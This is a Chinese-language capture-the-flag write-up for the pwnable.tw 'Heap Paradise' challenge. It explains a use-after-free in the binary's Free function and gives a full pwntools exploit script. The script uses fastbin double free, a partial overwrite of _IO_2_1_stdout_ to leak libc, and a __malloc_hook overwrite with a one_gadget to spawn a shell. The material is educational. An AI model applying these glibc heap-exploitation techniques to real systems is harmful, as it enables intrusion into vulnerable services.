pwnable.tw Heap Paradise writeup

TOC

  1. 1. 安全防护
  2. 2. 溢出点
  3. 3. 思路
  4. 4. 脚本

一道考验heap布局构造的pwn题,程序没有溢出点,靶机环境是glibc-2.23。

原题地址:https://pwnable.tw/challenge/

源程序和相关文件下载:heap_paradise.zip

程序流十分简单。

安全防护

ex@Ex:~/temp$ checksec heap_paradise
[*] '/home/ex/temp/heap_paradise'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

溢出点

void Free()
{
__int64 index; // [rsp+8h] [rbp-8h]

printf("Index :");
index = get_long();
if ( index <= 15 )
free(ptr[index]);
}

Free函数没有清空指针,造成UAF漏洞。

思路

先构造unsorted bin来获得地址,再通过控制_IO_2_1_stdout来泄露地址,最后控制hook拿shell。

思路很简单,问题是只给我们16次Allocate机会,难度是在有限的机会中完成上述思路。

这里给个小提示,尽量不要double free来控制指针,很花费Allocate次数。

First: 先构造unsorted bin来获得地址,第一次只能使用double free,所以第一次消耗次数最多。

Allocate(0x68, 'f' * 0x10 + p64(0) + p64(0x71)) # 0
Allocate(0x68, 'a' * 0x10 + p64(0) + p64(0x31) + 'a' * 0x20 + p64(0) + p64(0x21)) # 1
Free(0)
Free(1)
Free(0)

Allocate(0x68, '\x20') # 2
Allocate(0x68, '\0') # 3
Allocate(0x68, '\0') # 4
Allocate(0x68, '\0') # 5

Free(0)

Allocate(0x68, 'd' * 0x10 + p64(0) + p64(0xa1)) # 6

# unsorted bin
Free(5)

Second: 通过控制_IO_2_1_stdout来泄露地址,这里由于heap 已经 overlap,我们可以直接编辑fastbin的fd来达到控制chunk的目的,而不用double free。 控制 _IO_2_1_stdout_ 时需要部分覆盖,所以概率是1/16

Free(0)
Free(1)

Allocate(0x78, 'f' * 0x40 + p64(0) + p64(0x71) + '\xa0' ) # 7
Free(7)

Allocate(0x68, 'b' * 0x20 + p64(0) + p64(0x71) + p64(libc.symbols['_IO_2_1_stdout_'] - 0x43)[:2]) # 8
# pause()
Allocate(0x68, '\0') # 9

# _IO_CURRENTLY_PUTTING | _IO_IS_APPENDING
Allocate(0x68, '\0' * 3 + p64(0) * 6 + p64(0xfbad2087 + 0x1800) + p64(0) * 3 + '\x80') # 10

if(u64(sh.recvn(8)) != 0):
raise Exception('no leak')

libc_addr = u64(sh.recvn(8)) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))

main_arena_addr = libc_addr + libc.symbols['__malloc_hook'] + 0x10
log.success('main_arena_addr: ' + hex(main_arena_addr))

后面就是一般的劫持hook。

脚本

1/16的概率。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''

'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './heap_paradise'
# execve_file = './heap_paradise.bak'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10308)
elf = ELF(execve_file)
libc = ELF('./libc-23.so')
# libc = ELF('/glibc/glibc-2.23/debug_x64/lib/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''

'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def Allocate(size, data):
sh.sendlineafter('You Choice:', '1')
sh.sendlineafter('Size :', str(size))
sh.sendafter('Data :', data)

def Free(index):
sh.sendlineafter('You Choice:', '2')
sh.sendlineafter('Index :', str(index))

Allocate(0x68, 'f' * 0x10 + p64(0) + p64(0x71)) # 0
Allocate(0x68, 'a' * 0x10 + p64(0) + p64(0x31) + 'a' * 0x20 + p64(0) + p64(0x21)) # 1
Free(0)
Free(1)
Free(0)

Allocate(0x68, '\x20') # 2
Allocate(0x68, '\0') # 3
Allocate(0x68, '\0') # 4
Allocate(0x68, '\0') # 5

Free(0)

Allocate(0x68, 'd' * 0x10 + p64(0) + p64(0xa1)) # 6

# unsorted bin
Free(5)

Free(0)
Free(1)

Allocate(0x78, 'f' * 0x40 + p64(0) + p64(0x71) + '\xa0' ) # 7
Free(7)

Allocate(0x68, 'b' * 0x20 + p64(0) + p64(0x71) + p64(libc.symbols['_IO_2_1_stdout_'] - 0x43)[:2]) # 8
# pause()
Allocate(0x68, '\0') # 9

# _IO_CURRENTLY_PUTTING | _IO_IS_APPENDING
Allocate(0x68, '\0' * 3 + p64(0) * 6 + p64(0xfbad2087 + 0x1800) + p64(0) * 3 + '\x80') # 10

if(u64(sh.recvn(8)) != 0):
raise Exception('no leak')

libc_addr = u64(sh.recvn(8)) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))

main_arena_addr = libc_addr + libc.symbols['__malloc_hook'] + 0x10
log.success('main_arena_addr: ' + hex(main_arena_addr))


Free(1)
Allocate(0x78, 'c' * 0x40 + p64(0) + p64(0x71) + p64(main_arena_addr - 0x33)) # 11

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

Allocate(0x68, '\0') # 12
Allocate(0x68, 'z' * 0x13 + p64(libc_addr + 0xef6c4)) # 13

sh.sendlineafter('You Choice:', '1')
sh.sendlineafter('Size :', str(8))

sh.interactive()
clear()